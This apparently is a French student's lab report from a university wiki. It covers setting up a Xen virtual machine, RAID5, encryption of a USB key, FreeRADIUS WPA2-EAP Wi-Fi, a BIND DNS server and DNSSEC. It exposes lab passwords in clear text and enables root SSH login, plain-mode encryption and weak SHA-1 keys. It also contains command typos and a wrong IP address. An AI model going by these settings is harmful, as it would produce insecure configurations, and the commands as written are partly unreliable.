Je crée un RAID5 logiciel sur ma VM. Il permet d'écrire les données à la suite sur les disques durs qui sont stockées. Si on perd un disque, les données pourront être reconstituées par les autres toujours fonctionnel.&lt;br /&gt;
&lt;br /&gt;
Sur Capbreton, je créé un disque niveau 5, un seul système de fichier composé de 3 partitions. &lt;br /&gt;
&lt;br /&gt;
Je commence par créer les 3 partitions LVM de 1Go&lt;br /&gt;
  lvcreate -l1G -n hawker-raid1 storage&lt;br /&gt;
  lvcreate -l1G -n hawker-raid storage&lt;br /&gt;
  lvcreate -l1G -n hawker-raid3 storage&lt;br /&gt;
&lt;br /&gt;
Je visualise les disques créés via la commande &lt;br /&gt;
  vgdisplay&lt;br /&gt;
Il existe 3 types de volumes différents : storage, virtual et system.&lt;br /&gt;
&lt;br /&gt;
Je les associe à ma VM en l'éteignant et modifiant le fichier de configuration hawker.cfg en ajoutant :&lt;br /&gt;
  disk= [ ...     &lt;br /&gt;
          'phy:/dev/virtual/hawker-raid1,xvdc1,w',&lt;br /&gt;
          'phy:/dev/virtual/hawker-raid2,xvdc2,w',&lt;br /&gt;
          'phy:/dev/virtual/hawker-raid3,xvdc3,w',&lt;br /&gt;
        ]&lt;br /&gt;
&lt;br /&gt;
Puis je le rallume ma VM et via la commande lsblk, je vois mes 3 disques ajoutés.&lt;br /&gt;
&lt;br /&gt;
Je met en place le disque niveau 5 (RAID5) avec les 3 partitions&lt;br /&gt;
  mdadm --create /dev/md0 --level=5   --raid-devices 3 /dev/xvdc1 /dev/xvdc2 /dev/xvdc3&lt;br /&gt;
Je reprends le protocole que j'ai déjà effectué pour les partitions xvdb en utilisant mkfs, mount et cat. Les partitions sont alors actives.&lt;br /&gt;
  mkfs /dev/md0&lt;br /&gt;
  mount /dev/md0 /mnt&lt;br /&gt;
  cat /proc/mdstat&lt;br /&gt;
&lt;br /&gt;
Comme j'ai déjà fait pour les disques xvdb, je dois imposer le montage de RAID5 à chaque démarrage&lt;br /&gt;
   /dev/md0  /raid5  ext2  defaults  0  2 &lt;br /&gt;
&lt;br /&gt;
Si je stocke des données, en exemple le dossier bind, je les retrouve dans le répertoire raid5. Je vérifie que le système fonctionne et que mes données sont sécurisées. &lt;br /&gt;
&lt;br /&gt;
1er essai : Je commence par commenter la ligne du disque 2 de mon fichier de configuration. Les partitions sont considérées inactives, je repasse par le protocole précédent pour les réactiver et remonter mon disque. Malgré cet incident, on retrouve toutes les données présentes au même endroit.&lt;br /&gt;
&lt;br /&gt;
2ème essai : Je simule la perte du disque 2&lt;br /&gt;
  cp -a /usr/bin /mnt                               //Copie de données&lt;br /&gt;
  dd if=/dev/zero of=toto bs=1024k count=100        //Copier partie ou tout d'un disque &lt;br /&gt;
&lt;br /&gt;
  mdadm --set-faulty /dev/md0 /dev/xvdc2           //Perte du fichier disque 2 &lt;br /&gt;
  cat /proc/mdstat                                 //On voit qu'on a plus de partitions&lt;br /&gt;
  ls -R /mnt                                       //Vérifier qu'on a gardé les fichiers&lt;br /&gt;
  umount /mnt                                     //Démonter le système de fichier&lt;br /&gt;
&lt;br /&gt;
  mdadm --remove /dev/md0 /dev/xvdc2             //Je replace la partitions 2&lt;br /&gt;
  mdadm --add /dev/md0 /dev/xvdc2&lt;br /&gt;
  cat /proc/mdstat                               //On voit qu'il met quelques temps à le récupérer&lt;br /&gt;
&lt;br /&gt;
Encore utilisé à Polytech, on voit un disque gardé au cas où ceux en marche expire. Il gère les fichiers du disque qui va expiré et les gère. Quand on remplace, il replace les fichiers dans celui qui fonctionne.&lt;br /&gt;
&lt;br /&gt;
Je considère la sécurisation de mes données de VM atteinte.&lt;br /&gt;
&lt;br /&gt;
=== Chiffrement de données ===&lt;br /&gt;
&lt;br /&gt;
L'objectif est le cryptage de données contenues par une clé USB. Protégée par un mot de passe, il faudra le connaître pour accéder à son contenu.&lt;br /&gt;
&lt;br /&gt;
Je branche une clé USB sur mon PC et la sécurise&lt;br /&gt;
  cryptsetup open /dev/sdb cle --type : plain&lt;br /&gt;
      password : licorne&lt;br /&gt;
Dans ce cas, on peut utiliser deux types de cryptage : Plain ou Luks, j'ai choisi plain conseillé par M. Redon.&lt;br /&gt;
Je lance la commande lsbk pour visualiser les périphériques disponibles comme sdb : sdb1, sdb2 et je trouve aussi clé ajoutée après la commande cryptsetup&lt;br /&gt;
Je supprime les signatures et les avertissements&lt;br /&gt;
  wipefs --all --force /dev/sdb&lt;br /&gt;
  &lt;br /&gt;
  ls /dev/mapper&lt;br /&gt;
     clé : nom du périphérique chiffré&lt;br /&gt;
     /dev/mapper cle&lt;br /&gt;
&lt;br /&gt;
Système de fichier pour mapper.&lt;br /&gt;
Création &lt;br /&gt;
  mkfs /dev/mapper/cle&lt;br /&gt;
Montage&lt;br /&gt;
  mount /dev/mapper/cle  /mnt&lt;br /&gt;
  dh -h&lt;br /&gt;
Donne espace disque libre sur chaque système de fichier monté.&lt;br /&gt;
On a quelque chose sur la clé.&lt;br /&gt;
Création de fichier&lt;br /&gt;
  nano /mnt/toto &lt;br /&gt;
Démonter la clé&lt;br /&gt;
  umount /mnt&lt;br /&gt;
  crypt setup close cle --type = plain&lt;br /&gt;
/cle/mapper n'est plus accessible&lt;br /&gt;
Sur un autre ordinateur, la clé est invisible. Même si je fais un open, je l'a vois mais il me demande le mot de passe qui est licorne (choisi au début).&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation WiFi par WPA2-EAP ===&lt;br /&gt;
&lt;br /&gt;
==== Configuration serveur FreeRadius ====&lt;br /&gt;
&lt;br /&gt;
L'objectif est le contrôle par WPA2-EAP de l'accès à la borne WIFI. L'identification sera fera grâce à un serveur FreeRadius, qui permet de centraliser tous les utilisateurs, pour la sécurisation filaire.&lt;br /&gt;
&lt;br /&gt;
Je dois procéder à la configurarion du serveur FreeRadius sur ma machine virtuelle.&lt;br /&gt;
&lt;br /&gt;
Evidemment, je commence par l'installer, en procédant d'abord à une mise à jour.&lt;br /&gt;
  apt update&lt;br /&gt;
  apt install freeradius&lt;br /&gt;
&lt;br /&gt;
Puis je passe à la configuration et ajoute un utilisateur dans le fichier /etc/freeradius/3.0/users&lt;br /&gt;
  pifou Cleartext-Password := &amp;quot;glopglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
/etc/freeradius/3.0/mods-enabled/eap&lt;br /&gt;
  eap{&lt;br /&gt;
     default_eap_type = peap&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
/etc/freeradius/3.0//mods-enabled/mschap&lt;br /&gt;
  //Décommenter et vérifier&lt;br /&gt;
    use_mppe = yes&lt;br /&gt;
    require_encryption = yes&lt;br /&gt;
    require_strong = yes&lt;br /&gt;
  //Ajouter&lt;br /&gt;
    with_ntdomain_hack = yes&lt;br /&gt;
&lt;br /&gt;
Dans le fichier /etc/freeradius/3.0/clients.conf rajouter la borne comme un client qui se connectera sur le server radius:&lt;br /&gt;
  client access-point { /Nom du client&lt;br /&gt;
    ipaddr = 10.60.0.100 //Adress IP de la borne&lt;br /&gt;
    secret = glopglop //Mot secret saisi lors de la configuration&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
Une fois toutes les configurations terminées, j'arrête le serveur. Il faut faire attention car la commande stop n'a pas fonctionné.&lt;br /&gt;
 service freeradius stop&lt;br /&gt;
  ps auxwww | grep free&lt;br /&gt;
     root     18316  0.0  0.0   3084   888 pts/0    S+   22:49   0:00 grep free&lt;br /&gt;
  kill 10659&lt;br /&gt;
Relancer en mode debug afin de visualiser les requêtes et tentatives de connexions&lt;br /&gt;
  freeradius -X&lt;br /&gt;
&lt;br /&gt;
==== Configuration des points d'accès WiFi ====&lt;br /&gt;
&lt;br /&gt;
Il faut que j'ajoute un SSID protégé par la méthode WPA2-EAP à la configuration du point d’accès WiFi. Cela implique d’utiliser un nouveau VLAN donc un nouveau réseau IP à router par le routeur Wifi. Il faut aussi configurer le serveur virtuel Xen comme serveur d'identification.&lt;br /&gt;
&lt;br /&gt;
J'accède à la configuration de la borne WiFi&lt;br /&gt;
  minicom -os&lt;br /&gt;
  port : /dev/ttyUSB2&lt;br /&gt;
Je peux vérifier que je suis sur la bonne borne en arrivant sur ap#&lt;br /&gt;
&lt;br /&gt;
Je passe en mode privilégié et en mode configuration&lt;br /&gt;
  ap#enable      &lt;br /&gt;
  ap#config term   &lt;br /&gt;
&lt;br /&gt;
On met la commande suivante pour :&lt;br /&gt;
&lt;br /&gt;
authentification : vérifier l'identité de l'utilisateur &lt;br /&gt;
&lt;br /&gt;
authorization : pouvoir limiter l'accès à certaines fonctionnalités &lt;br /&gt;
&lt;br /&gt;
accounting : pouvoir enregistrer les actions de l'utilisateur&lt;br /&gt;
&lt;br /&gt;
   ap(config)#aaa new-model                                                                        &lt;br /&gt;
&lt;br /&gt;
Création du serveur radius en prenant mon adresse IP et le mot de passe choisi lors de la configuration du serveur FreeRadius&lt;br /&gt;
  ap(config)#radius-server host 193.48.57.171 auth-port 1812 acct-port 1813 key glopglop    &lt;br /&gt;
&lt;br /&gt;
Définition du groupe de serveur&lt;br /&gt;
  ap(config)#aaa group server radius radius_lulya&lt;br /&gt;
&lt;br /&gt;
Association du groupe de serveur et du serveur de la VM&lt;br /&gt;
  ap(config-sg-radius)#server 193.48.57.171 auth-port 1812 acct-port 1813&lt;br /&gt;
&lt;br /&gt;
Définition du login et du groupe de serveur par lequel l'utilisateur passera pour s'authentifier&lt;br /&gt;
  ap(config)#aaa authentication login eap_lulya group radius_lulya&lt;br /&gt;
&lt;br /&gt;
Définition du SSID protégé par la méthode WPA2-EAP&lt;br /&gt;
  ap(config)#dot11 ssid SSID_lulya //Reprise du nom Lulya                           &lt;br /&gt;
  ap(config-ssid)#vlan 10&lt;br /&gt;
  ap(config-ssid)#authentication open eap eap_lulya     &lt;br /&gt;
  ap(config-ssid)#authentication network-eap eap_lulya                            &lt;br /&gt;
  ap(config-ssid)#authentication key-management wpa    &lt;br /&gt;
&lt;br /&gt;
Configuration du Vlan&lt;br /&gt;
  ap(config)#interface Dot11Radio0                                                &lt;br /&gt;
  ap(config-if)#encryption vlan 10 mode ciphers aes-ccm tkip                      &lt;br /&gt;
  ap(config-if)#ssid SSID_lulya                                                   &lt;br /&gt;
&lt;br /&gt;
Création de sous interfaces&lt;br /&gt;
  ap(config)#interface dot11Radio0.10                                             &lt;br /&gt;
  ap(config-subif)#encapsulation dot1Q 10                                         &lt;br /&gt;
  ap(config-subif)#bridge-group 10          &lt;br /&gt;
&lt;br /&gt;
  ap(config)#interface fast0.10  &lt;br /&gt;
  ap(config-subif)#encapsulation dot1Q 10                                         &lt;br /&gt;
  ap(config-subif)#bridge-group 10               &lt;br /&gt;
&lt;br /&gt;
Ajout SSID dans l'interface Dot11Radio0&lt;br /&gt;
  ap(config-subif)#interface Dot11Radio0                                          &lt;br /&gt;
  ap(config-if)#dot11 ssid SSID_lulya                                         &lt;br /&gt;
&lt;br /&gt;
Rendre le SSID visible&lt;br /&gt;
  ap(config-ssid)#interface Dot11Radio0                                           &lt;br /&gt;
  ap(config-if)#mbssid                                                            &lt;br /&gt;
  ap(config-if)#dot11 ssid SSID_lulya                                             &lt;br /&gt;
  ap(config-ssid)#mbssid guest-mode    &lt;br /&gt;
&lt;br /&gt;
Je quitte tout en utilisant &amp;lt;code&amp;gt;exit&amp;lt;/code&amp;gt;, puis faire un &amp;lt;code&amp;gt;write&amp;lt;/code&amp;gt; pour prendre en compte toutes les configurations, pour finir je &amp;lt;code&amp;gt;reload&amp;lt;/code&amp;gt; &lt;br /&gt;
  ap(config)#write                                                                        &lt;br /&gt;
    Building configuration...               &lt;br /&gt;
&lt;br /&gt;
Le wifi SSID_Lulya est visible et accessible.&lt;br /&gt;
&lt;br /&gt;
Dot11Radio 0 : 2.5 GHz&lt;br /&gt;
&lt;br /&gt;
Dot11rRadio 1 : 5 GHz&lt;br /&gt;
&lt;br /&gt;
Depuis hawker, on peut voir si mon portable se connecte sur le wifi SSID_Lulya.&lt;br /&gt;
&lt;br /&gt;
Au cours d'après, j'ai vérifié que la configuration Wifi est OK via le PC zabeth30.&lt;br /&gt;
   ap#sh dot11 bssid&lt;/div&gt;</summary>
		<author><name>Lchenu</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2020/2021_G7&amp;diff=54714</id>
		<title>TP sysres IMA2a5 2020/2021 G7</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2020/2021_G7&amp;diff=54714"/>
				<updated>2020-12-15T15:24:21Z</updated>
		
		<summary type="html">&lt;p&gt;Lchenu : /* Réalisation */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Partie commune ==&lt;br /&gt;
Pour commencer, nous avons divisé le travail concernant l'installation de la maquette réseau. J'ai alors fait équipe avec Thomas et Alexandre pour configurer les 3 routeurs (cf : Wiki Groupe n°6 VITTECOQ Thomas - Partie Commune)&lt;br /&gt;
&lt;br /&gt;
L'objectif est la réalisation d'un système réseau répondant aux protocoles IPV6 et assurant une redondance matérielle.&lt;br /&gt;
&lt;br /&gt;
== Installation de la machine virtuelle Xen ==&lt;br /&gt;
&lt;br /&gt;
=== Création de la VM ===&lt;br /&gt;
Je commence par créer la VM sur le serveur commun capbreton, je me connecte alors en ssh&lt;br /&gt;
  ssh root@capbreton.plil.info &lt;br /&gt;
&lt;br /&gt;
Nom de ma machine : hawker&lt;br /&gt;
&lt;br /&gt;
Adresse IP de la machine : 193.48.57.171&lt;br /&gt;
&lt;br /&gt;
Adresse du routeur : 193.48.57.163&lt;br /&gt;
&lt;br /&gt;
Le répertoire des disques virtuels : /usr/local/xen&lt;br /&gt;
&lt;br /&gt;
xen-create-image est une commande qui permet de créer facilement de nouvelles instances Xen.&lt;br /&gt;
  xen-create-image --hostname=hawker --ip=193.48.57.171 --gateway=193.48.57.163 --dir=/usr/local/xen –dist=beowulf&lt;br /&gt;
&lt;br /&gt;
J’ai aussi utilisé une seconde méthode qui fonctionne mieux en gardant le nom de ma machine hawker&lt;br /&gt;
&lt;br /&gt;
	Le miroir Debian est celui de l’école : http://fr.deb.devuan.org/merged/&lt;br /&gt;
&lt;br /&gt;
	La distribution stable courant :  http://proxy.polytech-lille.fr:3128&lt;br /&gt;
&lt;br /&gt;
  xen-create-image --hostname=hawker --dhcp --dir=/usr/local/xen --dist=ascii --apt_proxy=http://proxy.polytech-lille.fr:3128 --mirror=http://fr.deb.devuan.org/merged/ --force&lt;br /&gt;
&lt;br /&gt;
En lançant un second terminal, je peux suivre le processus d’installation&lt;br /&gt;
  tail -f /var/log/xen-tools/hawker.log&lt;br /&gt;
&lt;br /&gt;
Lorsque l’installation est terminée, j'obtiens plusieurs informations dont le mot de passe du routeur.&lt;br /&gt;
&lt;br /&gt;
     Installation Summary&lt;br /&gt;
     ---------------------&lt;br /&gt;
     Hostname        :  hawker&lt;br /&gt;
     Distribution    :  ascii&lt;br /&gt;
     MAC Address     :  00:16:3E:A4:65:07&lt;br /&gt;
     IP Address(es)  :  dynamic&lt;br /&gt;
     SSH Fingerprint :  SHA256:xxxxxxx (DSA)&lt;br /&gt;
     SSH Fingerprint :  SHA256:xxxxxxx (ECDSA)&lt;br /&gt;
     SSH Fingerprint :  SHA256:xxxxxxx (ED25519)&lt;br /&gt;
     SSH Fingerprint :  SHA256:xxxxxxx (RSA)&lt;br /&gt;
     Root Password   :  xxxxxxxxxxxxxxxxxxxxxxxx&lt;br /&gt;
&lt;br /&gt;
Via la commande passwd, j'ai changé le mot de passe par &amp;quot;glopglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
=== Configuration de la VM ===&lt;br /&gt;
&lt;br /&gt;
Pour commencer, je dois modifier le fichier de configuration de la VM pour donner accès au bridge réseau.&lt;br /&gt;
Je récupère le nom du bridge &amp;quot;IMA2a5&amp;quot;&lt;br /&gt;
  brctl show &lt;br /&gt;
    bridge name        bridge id             STP enabled     interfaces&lt;br /&gt;
    '''IMA2a5             8000.34800d508a83     no              ether1'''&lt;br /&gt;
    IMA5sc             8000.34800d508a82     no              ether0&lt;br /&gt;
    L3MRIT             8000.b026289b2c9a     no              ether2&lt;br /&gt;
    Trunk              8000.4cd98fa49258     no              ether4&lt;br /&gt;
    bridgeGIS          8000.4cd98fa49258     no              vlan502&lt;br /&gt;
&lt;br /&gt;
J'accède au fichier de configuration de ma VM /etc/xen/hawker.cfg&lt;br /&gt;
J'ajoute mon adresse MAC donnée précédemment et le bridge IMA2a5. &lt;br /&gt;
&lt;br /&gt;
 kernel      = '/boot/vmlinuz-4.9.0-6-amd64'&lt;br /&gt;
 extra       = 'elevator=noop'&lt;br /&gt;
 ramdisk     = '/boot/initrd.img-4.9.0-6-amd64'&lt;br /&gt;
 &lt;br /&gt;
 vcpus       = '1'&lt;br /&gt;
 memory      = '1024'&lt;br /&gt;
 &lt;br /&gt;
 root        = '/dev/xvda2 ro'&lt;br /&gt;
 disk        = [&lt;br /&gt;
                   'file:/usr/local/xen/domains/hawker/disk.img,xvda2,w',&lt;br /&gt;
                   'file:/usr/local/xen/domains/hawker/swap.img,xvda1,w',&lt;br /&gt;
               ]&lt;br /&gt;
 &lt;br /&gt;
 name        = 'hawker'&lt;br /&gt;
 &lt;br /&gt;
 '''vif         = [ 'mac=00:16:3E:A4:65:07, bridge=IMA2a5' ]'''&lt;br /&gt;
 &lt;br /&gt;
 on_poweroff = 'destroy'&lt;br /&gt;
 on_reboot   = 'restart'&lt;br /&gt;
 on_crash    = 'restart'&lt;br /&gt;
&lt;br /&gt;
J'accède à ma machine virtuelle&lt;br /&gt;
  xl create /etc/xen/hawker.cfg&lt;br /&gt;
  xl console hawker&lt;br /&gt;
&lt;br /&gt;
Je crée deux répertoires var et home qui seront sur des partitions LVM de l'hôte&lt;br /&gt;
  lvcreate -L10G -n hawker-var virtual&lt;br /&gt;
  lvcreate -L10G -n hawker-home virtual&lt;br /&gt;
&lt;br /&gt;
Je pointe le système de fichier sur les deux nouvelles partitions &lt;br /&gt;
  mke2fs /dev/virtual/hawker-home&lt;br /&gt;
  mke2fs /dev/virtual/hawker-var&lt;br /&gt;
&lt;br /&gt;
Les disques sont finalisés, je les connecte à la VM en modifiant le fichier de configuration hawker.cfg.&lt;br /&gt;
&lt;br /&gt;
 disk        = [&lt;br /&gt;
                   'file:/usr/local/xen/domains/hawker/disk.img,xvda2,w',&lt;br /&gt;
                   'file:/usr/local/xen/domains/hawker/swap.img,xvda1,w',&lt;br /&gt;
                   ''''phy:/dev/virtual/hawker-home,xvdb1,w','''&lt;br /&gt;
                   ''''phy:/dev/virtual/hawker-var,xvdb2,w','''&lt;br /&gt;
               ]&lt;br /&gt;
&lt;br /&gt;
Puis je redémarre la VM pour prendre en compte les modifications&lt;br /&gt;
  xl shutdown hawker&lt;br /&gt;
  xl create /etc/xen/hawker.cfg&lt;br /&gt;
&lt;br /&gt;
A travers le fichier /etc/fstab, je dois modifier la configuration pour forcer le montage à chaque démarrage. &lt;br /&gt;
  /dev/xvdb1     /home ext4  defaults   0   2     //0 sauvegarde et 2 place&lt;br /&gt;
  #/dev/xvdb2    /var  ext4  defaults   0   2&lt;br /&gt;
A travers c’est deux commandes, j’assure la montée des 2 disques /home et /var à chaque démarrage. Juste avant cette étape pour /var, que je laisse en commentaire, j’ai du assurer le systèmes de fichiers. Il faut bien faire attention, une mauvaise manipulation peut détruire la machine.&lt;br /&gt;
  mkfs -t ext4 /dev/xvdb2&lt;br /&gt;
  mount /dev/xvdb2 /mnt&lt;br /&gt;
  mv /var/* /mnt&lt;br /&gt;
  blkid       //Trouver ou afficher les attributs de périphérique bloc&lt;br /&gt;
    /dev/xvda2: UUID=&amp;quot;efa11821-8780-4938-9473-5d217752316e&amp;quot; TYPE=&amp;quot;ext4&amp;quot;&lt;br /&gt;
    /dev/xvda1: UUID=&amp;quot;1a3161b3-a90d-4da5-a224-cfc496e70c89&amp;quot; TYPE=&amp;quot;swap&amp;quot;&lt;br /&gt;
    /dev/xvdb1: UUID=&amp;quot;5645526d-2cf4-42b5-a4a7-94fdda100ca1&amp;quot; TYPE=&amp;quot;ext4&amp;quot;&lt;br /&gt;
    /dev/xvdb2: UUID=&amp;quot;5b49ce5f-8116-4c41-aa25-97536f644803&amp;quot; TYPE=&amp;quot;ext4&amp;quot;&lt;br /&gt;
  vi /etc/fstab&lt;br /&gt;
Par la suite, je peux décommenter la ligne et exécuter :&lt;br /&gt;
  umount /mnt    &lt;br /&gt;
  mount -a&lt;br /&gt;
Je vérifie que les disques sont bien montés via la commande db &lt;br /&gt;
  Filesystem     1K-blocks     Used   Available   Use%   Mounted on&lt;br /&gt;
  udev              483904        0      483904     0%   /dev&lt;br /&gt;
  tmpfs             100712      120      100592     1%   /run&lt;br /&gt;
  /dev/xvda2       4062912   791352     3045464    21%   /&lt;br /&gt;
  tmpfs               5120        0        5120     0%   /run/lock&lt;br /&gt;
  tmpfs             306280        0      306280     0%   /dev/shm&lt;br /&gt;
  '''/dev/xvdb1      10255636    36872     9678092     1%   /home'''&lt;br /&gt;
  '''/dev/xvdb2      10255636   315536     9399428     4%   /var'''&lt;br /&gt;
&lt;br /&gt;
On peut vérifier que la VM est prête&lt;br /&gt;
  xl list&lt;br /&gt;
    Name          ID    Mem   VCPUs    State	Time(s)&lt;br /&gt;
    Domain-0      0    4046     4      r-----    6978.3&lt;br /&gt;
    boeing        1     256     1      -b----     185.5&lt;br /&gt;
    NightHawk     3    1024     1      -b----     826.8&lt;br /&gt;
    '''hawker        4    1024     1      -b----     776.9'''&lt;br /&gt;
    blackbird     5     256     1      -b----     640.4&lt;br /&gt;
    Falcon        6     256     1      -b----     691.7&lt;br /&gt;
    rafale        8     256     1      -b----     606.0&lt;br /&gt;
    mirage        12   1024     1      -b----     668.6&lt;br /&gt;
    alpha-jet     13    256     1      -b----     591.4&lt;br /&gt;
    concorde      19   1024     1      -b----     148.5&lt;br /&gt;
    oronge        20    256     1      -b----     536.2&lt;br /&gt;
On peut voir que l’état du domaine est r, cela stipule qu’il fonctionne. &lt;br /&gt;
Les VM ont un état -b, ce qui valide le fait qu’elles fonctionnent toutes. Au delà des IMA2A5, on voit aussi une des IMA5sc.&lt;br /&gt;
&lt;br /&gt;
== Services Internet ==&lt;br /&gt;
&lt;br /&gt;
=== Configuration du réseau ===&lt;br /&gt;
&lt;br /&gt;
Dès que ma machine virtuelle est prête, je passe en root dessus. Pour permettre l'accès à internet, je configure le réseau /etc/networks/interfaces&lt;br /&gt;
   auto eth0&lt;br /&gt;
   iface eth0 inet static&lt;br /&gt;
     address 193.48.57.171 &lt;br /&gt;
     netmask 255.255.255.240&lt;br /&gt;
     gateway 193.48.57.163&lt;br /&gt;
&lt;br /&gt;
Je configure alors les interfaces réseau grâce aux définitions du fichier au dessus&lt;br /&gt;
   ifdown eth0&lt;br /&gt;
   ifup eth0&lt;br /&gt;
&lt;br /&gt;
Je vérifie que le processus s'est bien déroulé&lt;br /&gt;
   ip r&lt;br /&gt;
     default via 193.48.57.163 dev eth0 onlink &lt;br /&gt;
     193.48.57.160/28 dev eth0 proto kernel scope link src 193.48.57.171 &lt;br /&gt;
  ping 193.48.57.162 (Adresse IP 3560E)&lt;br /&gt;
&lt;br /&gt;
=== Serveur SSH ===&lt;br /&gt;
Je fais en sorte que ma MV soit accessible à distance, je configure un serveur ssh. Je modifie alors le fichier de configuration /etc/ssh/ssh_config en modifiant cette ligne :&lt;br /&gt;
  vi /etc/ssh/sshd_config&lt;br /&gt;
     PermitRootLogin yes // Permet l'accès direct en root&lt;br /&gt;
  service ssh restart&lt;br /&gt;
Je n'ai alors plus besoin de passer par la commande xl console pour accéder à ma VM, j'utilise directement le ssh.&lt;br /&gt;
  ssh root@193.48.57.171&lt;br /&gt;
&lt;br /&gt;
=== Serveur DNS ===&lt;br /&gt;
&lt;br /&gt;
Le DNS (Domain Name System) permet d'établir la correspondance entre le nom de domaine d'un site et l'adresse IP où il est hébergé sur le réseau internet. Pour accéder à mon site, je n’aurais plus besoin d’indiquer mon adresse IP mais le nom du site choisi.&lt;br /&gt;
&lt;br /&gt;
Il faut que je configure mon domaine sur gandi.net et en étant root sur ma machine virtuelle hawker.&lt;br /&gt;
&lt;br /&gt;
Je commence donc par acheter un nom de domaine sur le site gandi.net : lulya.space. Je passe par « glue records » utilisé pour associer un hostname (nom de serveur ou DNS) à une adresse IP au registre. &lt;br /&gt;
    ns.lulya.space&lt;br /&gt;
    193.48.57.171&lt;br /&gt;
&lt;br /&gt;
Les serveurs de noms permettent d'accéder à un réseau ou du contenu sur internet depuis un nom de domaine.&lt;br /&gt;
    ns.lulya.space      1&lt;br /&gt;
    ns6.gandi.net       2&lt;br /&gt;
Pour le prise en compte ces modifications, on attend de 12 à 24h. &lt;br /&gt;
&lt;br /&gt;
Pour gérer mon serveur DNS, j’utilise la commande bind9 et passe par une configuration en ajoutant et modifiant plusieurs fichiers dans etc/bind.&lt;br /&gt;
Le fichier named.conf.options qui gère les options de configuration du DNS : &lt;br /&gt;
   options {&lt;br /&gt;
        directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
        dnssec-validation auto;&lt;br /&gt;
        listen-on-v6 { any; };&lt;br /&gt;
        allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;; };&lt;br /&gt;
   };&lt;br /&gt;
   acl &amp;quot;allowed_to_transfer&amp;quot; {&lt;br /&gt;
        217.70.177.40/32; //Adresse IP de dns6.gandi.net&lt;br /&gt;
   };&lt;br /&gt;
&lt;br /&gt;
Puis le fichier named.conf.local pour déclarer les zones associées au domaine:&lt;br /&gt;
   zone &amp;quot;lulya.space&amp;quot; {&lt;br /&gt;
      type master;&lt;br /&gt;
      file &amp;quot;/etc/bind/db.lulya.space&amp;quot;;&lt;br /&gt;
    };&lt;br /&gt;
&lt;br /&gt;
Enfin, le fichier de configuration /etc/bind/db.lulya.space :&lt;br /&gt;
   $TTL 3600&lt;br /&gt;
   @ IN SOA ns.lulya.space. postmaster.lulya.space. (&lt;br /&gt;
         1               ; Version&lt;br /&gt;
         1800             ; Refresh (30m)&lt;br /&gt;
         600             ; Retry   (10m)&lt;br /&gt;
         3600             ; Expire (1h)&lt;br /&gt;
         3600 )           ; Minimum TTL (1h)&lt;br /&gt;
   @ IN NS ns.lulya.space.&lt;br /&gt;
   @ IN NS ns6.gandi.net.&lt;br /&gt;
   ns      IN A       192.48.57.171&lt;br /&gt;
&lt;br /&gt;
J’attends quelques minutes puis relance bind9. Mon site http://www.lulya.space est accessible, je peux alors le visualiser en tapant l’adresse sur internet.&lt;br /&gt;
&lt;br /&gt;
Lorsque le DNS est fini d’être configuré, je peux le tester en lançant ping -6 google.fr, je peux voir que cela fonctionne, je considère mon DNS bien configuré.&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation de site web par certificat ===&lt;br /&gt;
&lt;br /&gt;
Je dois passer par une méthode de vérification sur le serveur Web cible. Il existe, je crois, 3 méthodes, j'ai choisi par mail.&lt;br /&gt;
&lt;br /&gt;
Je modifie mon fichier db.lulya.space&lt;br /&gt;
  Version : 2&lt;br /&gt;
  IN MX 100 ns&lt;br /&gt;
  www  IN A  193.48.57.171&lt;br /&gt;
&lt;br /&gt;
Je relance le service bind9 et installe le serveur de messagerie PostFix. En lançant la commande mailx, je peux alors vérifier que j'ai bien reçu un mail et l'achat du certificat se finalise. &lt;br /&gt;
&lt;br /&gt;
Gandi fournit une clé hawker.pem et un certificat hawker.crt, je génère une clé : lulya.csr en utilisant l'utilitaire OpenSSL dans le dossier /etc/apache2/certificat&lt;br /&gt;
  openssl req -nodes -newkey rsa:2048 -sha256 -keyout lulya.key -out lulya.csr&lt;br /&gt;
&lt;br /&gt;
J'achète un certificat sur Gandi en passant par la rubrique Cerificat SSL. Je partage ma clé.csr avec Gandi, il étudie la validité de mon domaine lulya.space, puis choisi ou non de le certifier. &lt;br /&gt;
&lt;br /&gt;
En recontrant un problème, j'ai utilisé une commande servant d'outil de dépannage&lt;br /&gt;
  apt install strace&lt;br /&gt;
  strace -f -o open newaliases&lt;br /&gt;
  strace -f  newaliases&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation de serveur DNS par DNSSEC ===&lt;br /&gt;
&lt;br /&gt;
Au delà de mon site sécurisé, je veux avoir toute la chaine de transmission, ce qui évitera la fraude. Je sécurise mon serveur DNS en signant la zone correspondant à mon nom de domaine.&lt;br /&gt;
Je débute par l'ajout de l'option dnssec-enable yes dans named.conf.options.&lt;br /&gt;
&lt;br /&gt;
Ensuite, je crée un répertoire lulya.space.dnssec pour y générer des paires de cléfs.&lt;br /&gt;
La clé asymétrique de signature de clefs de zone&lt;br /&gt;
  dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE lulya.space&lt;br /&gt;
La clé asymétrique de zone pour les enregistrements&lt;br /&gt;
  dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE lulya.space&lt;br /&gt;
&lt;br /&gt;
Je renomme les deux paires de clés obtenues en utilisant le nom de la zone comme préfixe et en suffixe : &lt;br /&gt;
&lt;br /&gt;
- la destination de la clef : ksk pour la clef KSK et zks pour la clef ZSK &lt;br /&gt;
&lt;br /&gt;
- puis par le type de clef : .key pour la clef publique ou .private pour la clef privée&lt;br /&gt;
  mv Klulya.space.+005+11461.key              lulya.space-ksk.key&lt;br /&gt;
  mv Klulya.space.+005+11461.private      lulya.space-ksk.private&lt;br /&gt;
  mv Klulya.space.+005+27882.key              lulya.space-zsk.key&lt;br /&gt;
  mv Klulya.space.+005+27882.private      lulya.space-zsk.private&lt;br /&gt;
